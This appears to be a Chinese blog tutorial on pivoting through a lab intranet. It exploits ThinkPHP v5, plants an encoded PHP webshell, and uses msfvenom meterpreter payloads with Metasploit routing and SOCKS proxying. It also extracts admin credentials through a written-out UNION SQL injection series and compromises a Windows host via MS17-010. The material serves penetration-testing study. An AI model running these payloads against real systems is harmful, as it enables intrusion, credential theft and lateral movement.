工作组内网渗透
工作组内网渗透
- 本文章旨在捋一遍内网渗透的大致流程思路。
1. 内网网络拓扑
2. 实战
-
首先我们使用nmap扫描一下target1的端口
- nmap -T4 -O 192.168.1.107
- 通过扫描结果可以看到,target1开启了ftp服务/21,ssh服务/22,web服务/80,mysql服务/3306,宝塔/8888
-
既然开启了web服务,那么我们就先访问一下target1所搭建的网站
- 发现使用的是thinkphp v5来搭建的。
- 发现使用的是thinkphp v5来搭建的。
-
而这个版本是存在漏洞的,我们可以直接使用exp来getshell
-
如图:
-
但是当我们访问shell.php的时候发现访问失败
-
cat 一下我们写的shell,发现字符串 "$_POST" 被过滤掉了
-
那我们便进行绕过,payload:echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php
-
接下来我们使用蚁剑进行连接
-
-
使用蚁剑的虚拟终端,查看一下当前的权限以及linux版本
- 可以看到,当前用户为 www用户(低权限),linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64
- 可以看到,当前用户为 www用户(低权限),linux localhost.localdomain 3.10.0-1062.1.1.el7.x86_64
-
接下来我们上传一个msf的马并连接,以便进一步渗透
-
生成一个linux的马:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=6666 SessionCommunication=0 SessionExpireationTimeout=0 -f elf > shell.elf
-
上传,并赋予执行权限,执行
-
使用msf设置一个监听器,用以连接木马
msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.1.104 set lport 6666 exploit
- 由下图可看出,木马连接成功
-
-
接下来我们查找一下与target1连接的内网网段有哪些,并将这些网段添加进路由并挂上代理以便进行内网渗透
- 所要使用的命令
run get_local_subnets //查看与target1所连的内网网段有哪些 run autoroute -s 192.168.22.0/24 //将该内网网段添加进路由 run autoroute -p //用于查看路由是否添加成功 background //将当前的会话挂起 search socks //接下来开始挂socks代理 use auxiliary/server/socks_proxy set VERSION 4a //选择版本4a,5好像有问题 set SRVHOST 192.168.1.104 //ip设置为kali ip exploit
-
接下来我们要修改一下代理软件proxychains的配置文件:/etc/proxychains4.conf。在配置文件最后一行加上:socks4 192.168.1.104 1080
-
当我们修改完配置文件之后,如果想要让我们的工具走代理的话,就需要在命令前加上:proxychains
-
至此,代理搭建完毕
-
接下来我们要搜集内网信息以便进行内网渗透
- 所使用的命令
sessions -i 1 arp -a proxychains nmap -Pn -sT 192.168.22.129 //扫描target2的端口
-
接下来我们来访问target2所搭建的网站
-
如果你想在kali中打开火狐访问的话,需要输入命令:proxychains firefox,通过这条命令打开的火狐是通过软件proxychains走代理的,然后直接访问ip:192.168.22.129 即可(如果不加代理的话,由于target2属于内网且与kali不属于同一网段,我们是访问不到web的)。
-
但是我这里想要使用物理机(本机)进行访问,于是要用到另一款代理软件:socksCap64。代理软件socksCap64的配置方法如下:(其实这里你也完全可以使用火狐自带的代理 - 就像使用brup那样的配置方法)
-
访问target2的web服务,由于我们挂了代理,所以直接输入target2的内网ip即可
-
查看一下网站的源代码,发现最下方靶场给出了提示:存在sql注入
-
-
利用sql注入拿下target2网站的账号密码
- 接下来,我将使用到payload全部总结到下面,注入结果和说明我将一并放进一张图中(放大即可看清)
- payload:
?r=vul&keyword=1' ?r=vul&keyword=1'%23 ?r=vul&keyword=1' order by 39 %23 ?r=vul&keyword=1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23 ?r=vul&keyword=1' union select database(),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 %23 ?r=vul&keyword=1' union select group_concat(table_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema="bagecms" %23 ?r=vul&keyword=1' union select group_concat(column_name),version(),user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name="bage_admin" %23 ?r=vul&keyword=1' union select username,password,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin %23
-
将 admin/46f94c8de14fb36680850768ff1b7f2a -> md5解密:admin/123qwe。
-
账号密码拿到手了,接下来我们就需要找网站的后台了,一般而言像这种较为成熟的cms都会存在robots.txt文件,我们可以通过该文件找到后台
-
使用我们注入得到的账号成功登陆
-
向target2的网站中写一句话使用蚁剑连接,并向该服务器中上传正向连接的木马并使用msf监听
-
模板 -> header.php -> 编辑 ->
-
使用蚁剑进行连接(同理:由于target2属于内网主机,我们仍要使用socksCap64代理软件打开 蚁剑 来连接一句话)
-
果然不出我所料,就知道target2要给我找点麻烦。
-
没办法,百度呗。最终在这个讨论区中找到解决方法:https://github.com/AntSwordProject/antSword/issues/243,
-
说是因为宝塔的缘故,导致连接被重置了,解决方法:尝试在header加上 Connection:keep-alive
-
通过蚁剑进入虚拟终端,看一下target2的系统版本,当前用户权限
-
接下来生成一个linux的马:msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=12345 -f elf > shell2.elf
- 注意:这里我们生成的是 正向连接 的马(因为target2在内网,与kali不处于同一个网段,所以target2是主动访问不了kali的。但是由于kali挂了代理,是可以主动访问target2的,即target2 ping不通kali,而kali ping得通target2)
-
kali设置监听、上线
proxychains msfconsole //注意:这里我们要使用proxychains来打开msf use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp set rhost 192.168.22.129 //因为我们使用了代理来打开msf,所以这里直接填target2的内网私有ip即可 set lport 12345 exploit
-
-
查看与target2所连的还有哪些网段,并将该网段添加进路由
- 所需命令:
run get_local_subnets run autoroute -s 192.168.33.0/24 run autoroute -p
- 由于之前已经设置过socks4a了,所以这次不需要重复设置了
- 所需命令:
-
对target3进行信息搜集,并上线
-
接下来进入target2的meterpreter会话,执行命令:arp -a,查看与target2相连的活跃主机有哪些
-
发现存在 192.168.33.129 这台活跃主机(target3)
-
扫描一波target3:proxychains nmap -Pn -sT 192.168.33.129(记得加上proxychains)
-
发现 445 端口开启,且为windows主机,我们可以猜测存在 MS17_010漏洞,直接使用msf盲打,成功上线target3
proxychains msfconsole use exploit/windows/smb/ms17_010_psexec set payload windows/meterpreter/bind_tcp set rhost 192.168.33.129 exploit
-
-
再来一波进程迁移
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统